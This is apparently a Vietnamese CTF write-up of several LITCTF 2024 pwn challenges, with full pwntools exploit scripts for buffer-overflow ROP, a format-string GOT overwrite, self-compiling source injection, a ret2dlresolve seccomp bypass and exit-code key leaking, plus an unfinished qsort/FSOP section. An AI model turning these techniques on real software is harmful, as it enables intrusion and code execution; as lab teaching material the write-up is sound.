Kỳ LITCTF 2024 có vài bài pwn khá thú vị. Mình lụm được 4/8 bài pwn và có 1 bài kẹt không chạy được trên remote :(
# pwn/function paring
Author: `w0152`
## phân tích đề
Bài này author chỉ cho đúng 1 file `vuln`, không có pie, không có canary.

Và hàm main cũng đơn giản như sau:
```c
undefined8 main(void)
{
char buf [256];
puts("--- IO DEMOS ---");
puts("1. gets/puts");
call_gets(buf);
puts(buf);
puts("2. fgets/fputs");
fgets(buf,256,stdin);
fputs(buf,stdout);
return 0;
}
```
Lỗi hiển nhiên là buffer overflow ở `gets`.
## giải
Hướng đi dễ thấy là gọi cho `puts@got` vào `rdi`, rồi quay lại một câu lệnh `puts` trong `main` để leak libc, tiếp tục ROP lấy shell.
Nhưng có một vấn đề, là tác giả không cho file libc.
Để tìm version libc, mình phải viết một script riêng, leak hết các symbol có thể ra, rồi search trên https://libc.rip/
GOT của file như sau:

Trong thời gian làm bài thì mình leak `puts` và `gets` ra 2.19, thử ROP không đúng, rồi thử lại lần nữa leak `puts` và `fgets` mới được version đúng là `2.35`.
```python=
p = start()
pop_rdi = 0x0000000000401293
# go back to line puts("--- IO DEMOS ---");
call_puts = 0x004011ac
offset_to_rip = 0x108
to_leak = ['fgets', 'puts']
res = {}
for current_leak in to_leak:
payload = flat(
b'A' * (offset_to_rip - 8),
exe.bss() + 0x200,
pop_rdi,
exe.got[current_leak],
call_puts
)
pprint(payload)
p.sendlineafter(b'gets/puts\n', payload)
p.sendlineafter(b'fgets/fputs\n', b'3')
p.recvline()
res[current_leak] = u64(p.recvline(keepends=False).ljust(8, b'\x00'))
for key, val in res.items():
print(key, hex(val))
```
Có version libc rồi thì mình tải về rồi exploit bình thường.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
context.binary = exe
context.log_level = 'DEBUG'
remote_connection = "nc litctf.org 31774".split()
local_port = 1337
gdbscript = '''
b *0x4011cc
b *0x401202
b *0x00401225
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
p = start()
pop_rdi = 0x0000000000401293
call_puts = 0x004011ac
payload = flat(
b'A' * 256,
exe.bss() + 0x200,
pop_rdi,
exe.got['puts'],
call_puts,
)
p.sendlineafter(b'gets/puts\n', payload)
p.sendlineafter(b'fgets/fputs\n', b'124')
p.recvline()
puts = u64(p.recvline(keepends=False).ljust(8, b'\x00'))
log.info(f'{hex(puts) = }')
libc.address = puts - libc.symbols['puts']
log.info(f'{hex(libc.address) = }')
offset = 0x404198 - 0x404090
'''
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
'''
pop_r12_r13 = libc.address + 0x0000000000041c48
one_gadget = libc.address + 0xebce2
log.info(f'{hex(one_gadget) = }')
payload2 = b'A' * (offset - 8)
payload2 += flat(
exe.bss() + 0x200,
pop_r12_r13,
0, 0,
one_gadget
)
pprint(payload2)
p.sendlineafter(b'gets/puts\n', payload2)
p.sendlineafter(b'fgets/fputs\n', b'\x00')
p.interactive()
```
Flag: `LITCTF{cl34r1y_0n3_0f_7h3_p4ir1ng5_4r3_4_l1t7l3_5p3ci4l_f480531b}`
P/s: lúc thi mình hứng làm open/read/write, nên code khá dài, có đoạn sau mình note lại để có gì cần dùng quay lại copy.
```python3=
begin_address = 0x404090
rop = ROP([libc, exe], badchars=b'\x0a')
rop.open(begin_address, 0)
rop.read(3, begin_address, 100)
rop.write(1, begin_address, 100)
```
# pwn/Infinite Echo
Author: `w0152`
## phân tích đề
```clike=
void main(void)
{
long len;
long in_FS_OFFSET;
char buf [264];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Infinite Echo!");
do {
len = call_read(0,buf,0x100);
buf[len + -1] = '\0';
printf(buf);
putchar(10);
} while( true );
}
```
Đây là một bài format string có Partial RELRO, nên hướng đi sẽ là leak libc, sau đó overwrite `printf@got` thành `system` để lấy shell.
## giải
Có một trick mình học được từ anh `@JHTPwner` là cách tính offset trong format string: break tại lệnh printf, `offset = (<to_leak> - $rsp)/8 + 6`. Trong `fmtstr_payload` của `pwntools` thì thay `<to_leak>` bằng `$rdi` khi đó là được.
Mấy cái từ 0 đến 5 lần lượt là `$rdi`, `$rsi`, `$rdx`, `$rcx`, `$r8`, `$r9`.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./main_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
context.log_level = 'DEBUG'
remote_connection = "nc litctf.org 31772".split()
local_port = 1337
gdbscript = '''
brva 0x0124f
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
p = start()
p.recvline()
leak = b'%41$p,%33$p'
p.sendline(leak)
data = p.recvline().decode().split(',')
libc_leak = int(data[0], 16)
exe_leak = int(data[1], 16)
exe.address = exe_leak - 0x12ad
libc.address = libc_leak - 0x24083
log.info(f'{hex(libc.address) = }')
log.info(f'{hex(exe.address) = }')
payload = fmtstr_payload(6, {exe.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
```
Flag: `LITCTF{1_GOT_th3_b3s7_FORMATTING_5k1ll5_5c52325d}`
# pwn/recurse
Author: `Emerald Block`
## phân tích đề
Bài này đề chỉ cho 1 file `main.c`:
```clike=
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int get(char* buf, int n) {
fflush(stdout);
if (fgets(buf, n, stdin) == NULL) {
puts("Error");
exit(1);
}
int end = strcspn(buf, "\n");
if (buf[end] == '\0') {
puts("Too long");
exit(1);
}
buf[end] = '\0';
return end;
}
int main(void) {
fputs("Filename? ", stdout);
char fname[10];
int fn = get(fname, sizeof(fname));
for (int i = 0; i < fn; ++i) {
char c = fname[i];
if (('a' <= c && c <= 'z') || c == '.') {
continue;
}
puts("Only a-z and .");
return 1;
}
if (strstr(fname, "flag.txt") != NULL) {
printf("Nice try!");
return 1;
}
FILE* file = fopen(fname, "a+b");
fputs("Read (R) or Write (W)? ", stdout);
char option[3];
get(option, sizeof(option));
switch (option[0]) {
case 'R': {
char contents[25];
int n = fread(contents, 1, sizeof(contents), file);
fputs("Contents: ", stdout);
fwrite(contents, 1, n, stdout);
puts("");
break;
}
case 'W': {
fputs("Contents? ", stdout);
char contents[25];
int n = get(contents, sizeof(contents));
fwrite(contents, 1, n, file);
break;
}
default: {
puts("Invalid");
return 1;
}
}
fclose(file);
fflush(stdout);
int ret = system("gcc main.c -o main");
if (!WIFEXITED(ret) || WEXITSTATUS(ret)) {
puts("Compilation failed");
return 1;
}
execl("main", "main", NULL);
}
```
File main sẽ chạy, cho phép mình đọc hay thêm vào một file bất kỳ ngoài file `flag.txt`, sau đó compile và chạy lại file `main`.
## giải
Mình giải bằng cách append vào file `main.c`.
Ban đầu payload của mình như sau:
```c=
#define A __attribute__
#define B constructor
#define V void
#define S system
A((B)) V i(){S("sh");}
```
Tức là set contructor gọi shell, nhưng mình gặp vấn để là không có `\n`, `#define` không hoạt động.
Sau một hồi search và hỏi Chatgpt thì mình thu được payload khác:
```c=
int in(){system("sh");}
asm(".section .init");
asm("call in");
```
Cái này viết vào inline vẫn chạy được, tác dụng là thêm lệnh `system("sh");` vào hàm `_init`, chạy khi chương trình bắt đầu. Như vậy là thu được shell, và lấy được flag.
Anh `@mekanican` trong CLB ATTT HCMUS có cho mình một ý tưởng khá hay, đó là dùng `\r` thay cho `\n` và nó chạy thật =))
Vậy là payload ban đầu của mình vẫn ỗn, chỉ cần khéo một xíu.
Một insight khác của một người trong discord LIT: có thể compile lỗi cũng được, code vẫn nằm trong file `main.c`, chỉ cần kết nối lại vài lần là được.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./main")
context.binary = exe
context.log_level = 'DEBUG'
remote_connection = "nc 34.31.154.223 58842".split()
local_port = 1337
gdbscript = '''
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
p = start()
revised_code = '''int in(){system("sh");}
asm(".section .init");
asm("call in");'''
# co the dung \r thay cho \n, anh Nghia ac qua :))
# payload2 source: @mekanican
revised_code = '''typedef int i;
#define d destructor
[[gnu::d]]i f();
i f(){system("sh");}'''
revised_code = '''#define A __
attribute__
#define B constructor
#define V void
#define S system
A((B)) V i(){S("sh");}'''
contents = revised_code.split('\n')
for index, line in enumerate(contents):
print(f'{len(line) = }')
pause()
p.sendlineafter(b'Filename', b'main.c')
p.sendlineafter(b'Write', b'W')
to_send = line.encode()
if index >= 1:
to_send += b'\r'
p.sendlineafter(b'Content', to_send)
print(line)
p.interactive()
```
Có 3 payload tha hồ chọn :v.
Flag: `LITCTF{4_pr0gr4m_7h4t_m0d1f13s_1t5elf?_b34u71ful!_a1cd446b}`
# pwn/w4dup 2de
Author: `w0152`
## phân tích đề
Vô thôi. Checksec:

Code main:
```c=
undefined8 main(void)
{
long len;
undefined8 uStack_30;
undefined buf [32];
init_seccomp();
len = call_read(0,buf,256);
buf[len + -1] = 0;
return 0;
}
```
Theo một bài nào đó mình đã đọc được, bof + no pie + partial RELRO --> ret2dlresolve
Hàm `init_seccomp()`:
```c=
void init_seccomp(void)
{
undefined8 uVar1;
undefined8 in_R8;
undefined8 in_R9;
uVar1 = seccomp_init(0x7fff0000);
seccomp_rule_add(uVar1,0,0,1,in_R8,in_R9,0x100000000,0,0);
seccomp_rule_add(uVar1,0,59,0);
seccomp_rule_add(uVar1,0,322,0);
seccomp_rule_add(uVar1,0,187,0);
seccomp_rule_add(uVar1,0,89,0);
seccomp_rule_add(uVar1,0,267,0);
seccomp_rule_add(uVar1,0,19,0);
seccomp_rule_add(uVar1,0,17,0);
seccomp_rule_add(uVar1,0,295,0);
seccomp_rule_add(uVar1,0,327,0);
seccomp_load(uVar1);
return;
}
```
Mình search sơ thì có vẻ như những dòng `seccomp_rule_add` dùng để cấm các syscall, có cái `add` đầu mình không hiểu được
Lúc làm bài thì mình ngồi đoán mò, giờ mới biết chạy `seccomp-tools` cho dễ:

Như vậy nó cấm syscall kiểu `int 0x80`, cấm luôn các hàm exec nên không lấy shell được, nên hướng đi sẽ là open-read-write (intended) hoặc open-sendfile.
## giải
Mình dùng cách open-sendfile, có vẻ như tác giả quên cấm `sendfile` :v
Mình sẽ nói cách của mình trước rồi quay lại kia sau.
Mình tính offset tới stored rip ra 40.
- Đầu tiên mình dùng ret2dlresolve gọi `write(read@got)` để leak libc, như một thói quen, rồi quay về main.
- Sau đó tiếp tục ret2dlresolve gọi `open('flag.txt')`, quay về main, khi đó `flag.txt` có file descriptor là 3.
- Rồi cuối cùng ROP thông thường gọi `sendfile(1, 3, 0, 100)`. Lấy 100 byte từ fd 3 gửi qua fd 1 (stdout). Số 0 là offset.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./main")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
context.log_level = 'DEBUG'
remote_connection = "nc litctf.org 31771".split()
local_port = 1337
gdbscript = '''
b *0x004011f7
b *0x00401369
b *0x00401356
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process([exe.path])
p = start()
# FIRST: LEAK LIBC
rop = ROP([exe])
dlresolve = Ret2dlresolvePayload(exe, symbol="write", args=[1, exe.got['read']])
rop.raw(b'A'*40)
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
rop.call("main")
log.info(rop.dump())
p.sendline(rop.chain())
pause()
p.sendline(dlresolve.payload)
libc_leak = int.from_bytes(p.recvuntil(b'\x00\x00', drop=True), "little")
libc.address = libc_leak - libc.symbols['read']
log.info(f'{hex(libc.address) = }')
# SECOND: OPEN FLAG.TXT
rop2 = ROP([exe, libc])
dlresolve = Ret2dlresolvePayload(exe, symbol="open", args=["flag.txt", 0])
rop2.raw(b'A' * 40)
rop2.read(0, dlresolve.data_addr)
rop2.ret2dlresolve(dlresolve)
rop2.call("main")
log.info(rop2.dump())
p.sendline(rop2.chain())
pause()
p.sendline(dlresolve.payload)
# THIRD: SENDFILE
rop3 = ROP([exe, libc])
rop3.raw(b'A'*40)
rop3.sendfile(1, 3, 0, 100)
pause()
p.sendline(rop3.chain())
p.interactive()
```
Flag: `LITCTF{dup_dup_dup_duuuuuuuuuup_222222}`
Ok, nhận được flag thì mình phát hiện ra cách mình là unintended =))
Note ở rop3, nếu ở đây dùng ret2dlresolve nữa thì sẽ bị vấn đề là không set `rcx` về 100 được (thiếu gadget trong exe).
Mình hiểu cách intended như sau:
- Do seccomp cấm read từ bất kỳ fd nào khác ngoài 0, nên sẽ gọi `dup2(3, 0)` để set 0 thành fd của file flag.txt.
- Sau đó `read(0, buf)`, rồi gọi dlresolve `write(1, buf)` ra là ok.
Ret2dlresolve: https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/ret2dlresolve
Tham khảo về `seccomp`: https://n132.github.io/2022/07/03/Guide-of-Seccomp-in-CTF.html
Lưu ý: khi chạy trên remote phải đổi `exe` lại thành file gốc, có vẻ do `pwninit` làm payload ret2dlresolve khác đi một chút và không đúng nữa.
## note
Bài này mình học được mấy cái mới:
- Ret2dlresolve
- seccomp-tools để đọc seccomp dễ hơn
- syscall sendfile
# pwn/iloveseccomp
Author: `w0152`
Đây là bài mà mình chỉ cho nó chạy được trên Docker local, nhiêu đó thôi đủ làm mình khùng rồi.
## phân tích đề
Đề cho libc, ld, exe, và 1 file `wrapper.py`.
Trong file wrapper.py:
```python=
#!/usr/bin/env python3
from os import urandom
import pwn
from time import sleep
def init():
key = urandom(8)
with open("key.txt", "wb") as f:
f.write(key)
return key
def prog():
r = pwn.process("./main")
sleep(0.5)
print(r.recvS())
try:
payload = bytes.fromhex(input())
print(payload)
except:
print("my guy")
exit(0)
r.sendline(payload)
sleep(0.5)
print(f"Process exited with code {r.poll()}")
def check(key):
userKey = bytes.fromhex(input("Okay... WHAT IS THE KEY (in hex) "))
if userKey == key:
print("Lucky guess...")
with open("flag.txt", "r") as f:
print(f.read())
else:
print("nope")
if __name__ == '__main__':
print("***The program will run eight times***\n")
key = init()
for _ in range(8):
prog()
check(key)
```
Nó tạo một key 8 byte ngẫu nhiên bỏ vào `key.txt`, sau đó chạy file main 8 lần, rồi cuối cùng hỏi key là bao nhiêu để cho flag.

Checksec ta thấy no canary.
Decompile trong Ghidra:
```c=
undefined8 main(void)
{
ssize_t len;
undefined8 uStack_40;
undefined buf [32];
void *addr;
int key_file;
int random_file;
random_file = open("/dev/urandom",0);
if (random_file < 0) {
puts("suspicious");
exit(1);
}
read(random_file,&randAddr,8);
close(random_file);
randAddr = (void *)((ulong)randAddr & 0xffffffff000);
key_file = open("key.txt",0);
if (key_file < 0) {
puts("key does not exist");
exit(1);
}
addr = mmap(randAddr,4096,1,18,key_file,0);
if (addr == (void *)0xffffffffffffffff) {
puts("oops");
exit(1);
}
close(key_file);
printf("Pwn this.\n\nSympathy leak: %p\n\n",open);
len = read(0,buf,1024);
buf[len + -1] = 0;
init_seccomp();
return 0;
}
```
Vẫn là bof không có canary, lần này nó cho mình libc leak luôn, ta xem thử hàm seccomp.
```c=
void init_seccomp(void)
{
undefined8 uVar1;
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1,0x7fff0000,60,0);
seccomp_rule_add(uVar1,0x7fff0000,231,0);
seccomp_load(uVar1);
return;
}
```
Check `seccomp-tools`:

Như vậy chương trình chỉ cho syscall `exit` và `exit_group`. Một chương trình kết thúc bằng `exit(code)` sẽ thông báo exit code là `(code & 0xff)`.
## giải
Từ đề bài có thể thấy rõ, author muốn ta leak từng byte thông qua hàm exit.


File `key.txt` được map nội dung vào địa chỉ `randAddr`, biến này được lưu tại offset 0x4018.
Mình nghĩ tới việc leak exe address, trỏ nó tới `&randAddr`, rồi dereference lấy địa chỉ chứa key, rồi tăng đến offset cần thiết, sau đó dereference tiếp lấy key, cuối cùng gọi exit với giá trị đó. Các gadget có chứa dereference mình để ý hầu hết đều làm việc trên `$rax`.
- Ban đầu, mình nghĩ tới hướng sau: có `libc address` -> leak `environ` ra được stack -> leak stack ra được `exe address` (\*) -> cộng/trừ trỏ tới `&randAddr`. Leak ở đây chỉ là thực hiện các phép biến đổi trên register. Mình đã làm được như vậy, nhưng có một vấn đề nhỏ ở (\*), là stack layout có thể khác biệt: mình chạy trên máy thật nó khác offset một xíu so với Docker. Không sao, có thể bruteforce được.
- Có một cách khác hay hơn, mà mình được author gợi ý: `LOOK AT REGS`. Thật sự thì khi hàm main return, có một giá trị exe leak nằm ngay trên `rbx`, nó nằm ở đó, đập vô mặt mình mấy tiếng mà mình không để ý 😭. Như vậy là bỏ được phần bruteforce rồi.

Mình xin viết theo cách số 2 cho đẹp hơn, payload tới hiện tại:
```python=
stored_rip_offset = 56
# 0x000000000008d883 : mov rax, rbx ; pop rbx ; pop rbp ; pop r12 ; ret
mov_rax_rbx = libc.address + 0x8d883
# 0x0000000000033d62 : mov rax, qword ptr [rax + rdi*8 + 0x80] ; ret
mov_rax_qword_rax_rdi_8 = libc.address + 0x33d62
'''
Ở đây cần tính toán xíu:
Cho cái __libc_csu_init là exe_leak ha.
Thì exe_address = exe_leak - 0x1420
Mà &randAddr = exe_address + 0x4018
==> &randAddr = exe_leak + 0x2bf8
Ta có:
0x2bf8 = rdi*8 + 0x80 <=> rdi = 0x56f.
Như vậy, sau 2 gadget đó, ta sẽ có $rax bằng giá trị của randAddr.
'''
# 0x00000000001411fc : mov rax, qword ptr [rax] ; ret
mov_rax_qword_rax = libc.address + 0x1411fc
'''
Vấn đề khác cần tính là offset, mình cần tìm gadget nào đó cộng thêm vào rax một offset nhất định.
Rồi mới dùng dùng gadget mov_rax_qword_rax để gán rax = *(randAddr + i) lấy 1 byte key ở offset i.
Và, mình có luôn:
0x00000000000ac77c : add rax, rsi ; ret
Kết hợp pop_rsi là hoàn hảo.
0x000000000002601f : pop rsi ; ret
'''
pop_rsi = libc.address + 0x2601f
add_rax_rsi = libc.address + 0x0ac77c
offset = 0
payload = flat(
b'A' * (stored_rip_offset),
mov_rax_rbx,
0,
0,
0,
pop_rdi,
0x56f,
mov_rax_qword_rax_rdi_8, # get randAddr to rax
pop_rsi,
offset,
add_rax_rsi,
mov_rax_qword_rax # get key to rax
)
```
Rồi, như vậy là ta đã có key ở offset `offset` trong `rax`, nhưng phải chuyển nó qua `rdi` để gọi `exit`.
Một lần nữa sự thiếu hiểu biết của mình khiến mình mệt mỏi :v
- Mình search không thấy `mov rdi, rax`, đành phải đưa nó qua trung gian là `rdx` và `r8`:
```
0x00000000001532f8 : mov r8, rax ; mov rax, r8 ; pop rbx ; ret
0x0000000000056af1 : add rdx, r8 ; mov rax, rdx ; pop rbx ; ret
0x000000000013c507 : add rdi, rdx ; mov qword ptr [r9], rdi ; ret
```
Có một vấn đề làm mình lo: `r9` có chứa địa chỉ đọc được không? Mình chạy trên Docker local thấy `r9` ở cuối hàm main chứa một địa chỉ heap, nên mình yên tâm làm tiếp. Đến cuối cùng, mình bruteforce (cách 1 phía trên) rất nhiều lần (với 3 script khác nhau) mà đều không được. Chỉ khi mượn được Dockerfile từ author, mình mới vỡ lẽ là `r9` trên remote chỉ chứa một giá trị rác :((
- Một instruction mình thấy người khác dùng: `xchg` (exchange). Dùng để swap giá trị của 2 register, và không bất ngờ xíu nào, trong `libc` có một cái gadget không thể hoàn hảo hơn cho trường hợp này:
```
0x00000000000f1b65 : xchg edi, eax ; ret
```
Haizz, nếu như mình không hardcore mò register trung gian mà đi hỏi Chatgpt chắc sẽ may mắn biết nó.

Thôi không rầu nữa, ghép `xchg` này với đống payload phía trên, cộng thêm `exit`, ta leak được 1 byte, loop như vậy 8 lần, ta có 8 bytes và cuối cùng sẽ có flag.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
from time import sleep
exe = ELF("./main")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
context.log_level = 'DEBUG'
context.timeout = 60
remote_connection = "nc 34.31.154.223 58612".split()
local_port = 1337
gdbscript = '''
brva 0x1398
brva 0x13f4
brva 0x1411
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
if args.LOCAL:
return remote('localhost', local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript)
else:
return process(['./wrapper.py'])
# p.interactive()
p = start()
full_key = bytes([])
for index in range(8):
libc.address = 0
print(p.recvuntil(b'Sympathy leak: ').decode())
leak = int(p.recvuntil(b'\n').decode(), 16)
log.info(f'{hex(leak) = }')
libc.address = leak - libc.sym['open']
log.info(f'{hex(libc.address) = }')
stored_rip_offset = 48 + 8
pop_rdi = libc.address + 0x0000000000023b6a
syscall = libc.address + 0x000000000002284d
pop_rax = libc.address + 0x0000000000036174
# 0x00000000001411fc : mov rax, qword ptr [rax] ; ret
mov_rax_qword_rax = libc.address + 0x1411fc
# 0x0000000000033d62 : mov rax, qword ptr [rax + rdi*8 + 0x80] ; ret
mov_rax_qword_rax_rdi_8 = libc.address + 0x33d62
# 0x000000000008d883 : mov rax, rbx ; pop rbx ; pop rbp ; pop r12 ; ret
mov_rax_rbx = libc.address + 0x8d883
# 0x00000000000ac77c : add rax, rsi ; ret
add_rax_rsi = libc.address + 0x00000000000ac77c
# 0x000000000002601f : pop rsi ; ret
pop_rsi = libc.address + 0x000000000002601f
# 0x00000000000f1b65 : xchg edi, eax ; ret
xchg_edi_eax = libc.address + 0x00000000000f1b65
payload = flat(
b'A' * (stored_rip_offset),
mov_rax_rbx,
0,
0,
0,
pop_rdi,
0x56f,
mov_rax_qword_rax_rdi_8, # get randAddr to rax
pop_rsi,
index,
add_rax_rsi,
mov_rax_qword_rax, # get key to rax
xchg_edi_eax, # exchange edi and eax
pop_rax,
60,
syscall
)
log.info(f'{len(payload) = }')
p.sendline(payload.hex().encode())
print(p.recvuntil(b'code ').decode())
print(payload)
exitcode = p.recvuntil(b' ').decode().strip()
current_byte = int(exitcode)
print(f'{current_byte = }')
full_key += bytes([current_byte])
log.info(f'{full_key = }')
log.info(f'----Okay----')
p.sendlineafter(b'WHAT IS THE KEY', full_key.hex().encode())
p.interactive()
```
Flag: `LITCTF{l0v3_3x1t_c0de_4n4lys1s_d816fcc2}`
Ba cái script vừa dài, vừa bruteforce (chọn option tệ nhất ở cả 2 nhánh trên) của mình mình xin giấu 😔
## note
- `xchg` instruction
- `mov rax, qword ptr [rax]` instruction and similar ones.
- `mov rax, qword ptr [rax + rdi*8 + 0x80]`
# pwn/How to Raise a Boring Vuln Flat
Author: `Rythm`
## phân tích đề
Bài này cho nhập vào một mảng tối đa 10 phần tử số nguyên, sau đó chọn hàm so sánh (dính OOB), rồi gọi hàm `qsort`.
Cách giải cũng khá hay, author của 2 bài phía trên, `@w0152`, giải bằng cách cho hàm so sánh là `scanf`, rồi dùng nó partial overwrite stored rip từ `main+319` về `main`, đồng thời FSOP trên stdout để leak libc, cuối cùng ROP lấy shell.
Mình cũng chưa hoàn toàn nắm được bài này, khi nào thấy ổn và có thể hoàn toàn tự làm lại được, mình sẽ viết tiếp.
---
Update: chiến thôi.
Code `main`:
```c=
undefined8 main(void)
{
long in_FS_OFFSET;
int int_count;
int sort_type;
int i;
int j;
void *chunk;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
puts("How to raise a boring vuln.\n");
puts("How many ints?");
__isoc99_scanf(&percent_d,&int_count);
chunk = malloc((long)int_count << 2);
puts("Input ints (separate by space):");
for (i = 0; i < int_count; i = i + 1) {
__isoc99_scanf(&percent_d,(void *)((long)chunk + (long)i * 4));
}
puts("Input sort type (1 = forward, 2 = reverse):");
__isoc99_scanf(&percent_d,&sort_type);
qsort(chunk,(long)int_count,4,*(__compar_fn_t *)(cmps + (long)(sort_type + -1) * 8));
puts("Sorted array:");
for (j = 0; j < int_count; j = j + 1) {
printf("%d ",(ulong)*(uint *)((long)chunk + (long)j * 4));
}
puts("\n");
puts("Bye.");
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
## giải
Mình cũng hơi thắc mắc xíu là `qsort` nó chọn pivot kiểu gì. Nên đọc source code thử.
https://codebrowser.dev/glibc/glibc/stdlib/qsort.c.html#qsort
Thì ra hàm `qsort` bên dưới của nó là `merge sort` :V
Mình cũng hơi bất ngờ khi đọc cái này.
Cụ thể, trong trường hợp này, sắp xếp các số nguyên 4 byte thì nó sẽ sort bằng hàm `msort_with_tmp`, có đoạn sau đáng chú ý:

Do sort bên trái trước, nên cứ đệ quy từ từ thì sẽ gọi tới `cmp(data[0], data[1])` đầu tiên. Hiểu được tới đó rồi thì exploit dễ hơn rất nhiều.
Biến `cmps` của chương trình nằm gần với `GOT`:
`telescope (long)&cmps-0x60 20`

Do đó mình có thể chọn `cmps[i]` là `__isoc99_scanf` cho tiện overwrite (i = -8 => sort_type = -7)
Mình debug bằng script sau:
```python=
gdbscript = '''
# qsort
brva 0x13b3
c
b *$rcx
# break ngay hàm compare cho dễ so so sánh
'''
count = 20
p.sendlineafter(b'How many ints?', str(count).encode())
p.recvuntil(b'separate by space')
for i in range(count):
p.sendline(str(i).encode())
p.sendlineafter(b' sort type', b'-7')
```
Break tại hàm `__isoc99_scanf` đầu tiên.
Giờ làm sao đây? Có `scanf` rồi, có thể đưa `format string` vào `data[0]`, nhưng scanf vào đâu? Phải tìm một địa chỉ có ý nghĩa trên stack.
Có một điểm khá hay là cái dây RBP:

Tại địa chỉ RBP của hàm sau chứa địa chỉ RBP của hàm gọi nó.
Giả sử hàm 1 gọi hàm 2. Nếu `scanf("%{offset tới RBP hàm 2}$s")` sẽ sửa được stored RBP của hàm 1, có thể lấn qua sửa return address của hàm 1 luôn.
Vậy nên, có thể nghĩ tới partial overwrite stored rip của main để thực hiện payload 1 lần nữa sau khi leak.
Backtrace:

Ta thấy frame #9 trở về main, ta sẽ overwrite RBP của nó, lấn qua 2 byte cho nó quay lại đầu hàm main.
Mình cần tìm địa chỉ chứa RBP của frame #9, cái cần tìm đó là RBP của frame #8.

Tính offset:
```bash
pwndbg> p/d (0x7fffffffd900 - (long)$rsp)/8 + 6
$4 = 61
```
Vì lý do nào đó mà offset scanf phải trừ 1 đi, thành 60.
Như vậy tới hiện tại, ta có:
```python=
format = b"%60$10c"
payload = b'A' * 8 + b'\xbc\x52'
# trở về puts("How to raise a boring vuln.\n");
# phải brute 4 bits (1/16), do chỉ biết dòng đó ở 0x_2bc thôi, mình để tạm \x52 do khi dùng gdb.debug(aslr=False) thì chỗ đó là 5.
```
Trở về main được rồi nhưng `rbp` lúc này chứa giá trị rác, không chứa địa chỉ, nên chạy tiếp chắc chắn lỗi.
Mình phải overwrite nó lại thành một địa chỉ nào đó rw được.
Và `man 3 scanf` cho ta một giải pháp: `%mc`. Dòng lệnh `scanf("%8mc", &p)` tương đương với:
```
p = malloc(8);
scanf("%8c", p);
```
Như vậy, mình cần thêm một chút vào format string của mình:
```python=
format = b"%60$10c"
format += b"%60$8mc"
payload = b'A' * 8 + b'\xbc\x52'
payload += b'B' * 8
```
Còn một vấn đề khác: sau khi `scanf` lần đầu tiên, ta đã overwrite đạt được mục đích của mình, nhưng hàm `qsort` vẫn chạy tiếp, có thể gọi `scanf` các format string phía sau, làm hỏng exploit của mình.
Để ý thấy: lần scanf đầu tiên gọi `scanf(data[0], data[1])`. Ta có thể thêm `%1${x}c` + gửi x ký tự `\x00` để xóa hết cái mảng của mình từ index 4 trở đi, vậy những lần `scanf` sau sẽ gọi `scanf("")`, mình không cần nhập gì cả, sẽ có lúc nó gọi `scanf(" ")`, mình nhập vào một số bất kỳ là ok.
Update format string:
```python=
format = b" " * 4
format += b"%60$10c"
format += b"%60$8mc"
format += b"%1$30c"
payload = b'A' * 8 + b'\xbc\x52'
payload += b'B' * 8
payload += b'\x00' * 30
```
Rồi, trở về main rồi, execute tiếp được rồi, nhưng thiếu `libc` để ROP.
Giờ tới lúc mò `stdout` trên stack để FSOP.
Mình không biết nó ở đó từ khi nào, `telescope 200` thì thấy.

Tính offset kiểu printf ra 200, nhưng trừ 1 đi thì còn 199.
Đây cũng là kỹ thuật mới đối với mình nên mình đọc sol của `@w0152` và tìm hiểu tiếp.
Mình đọc từ đây mà hiểu cách leak: https://hackmd.io/@whoisthatguy/Hke0xJaLWp#How-to-leak-libc
Nói chung thì apply cái khúc đó trong bài vô là ok, chỉ cần tìm địa chỉ nào đó gần với `_IO_write_base = 0x7ffff7faf643` mà chứa libc để overwrite 1 byte là ok.

Gọi `telescope` ta thấy có nhiều lựa chọn. Mình chọn `\x28` cho đẹp.
Tóm lại, một phát `scanf` của mình phải làm 4 việc sau:
1. Overwrite stored RIP về main.
2. Overwrite stored RBP về một địa chỉ heap.
3. FSOP leak libc.
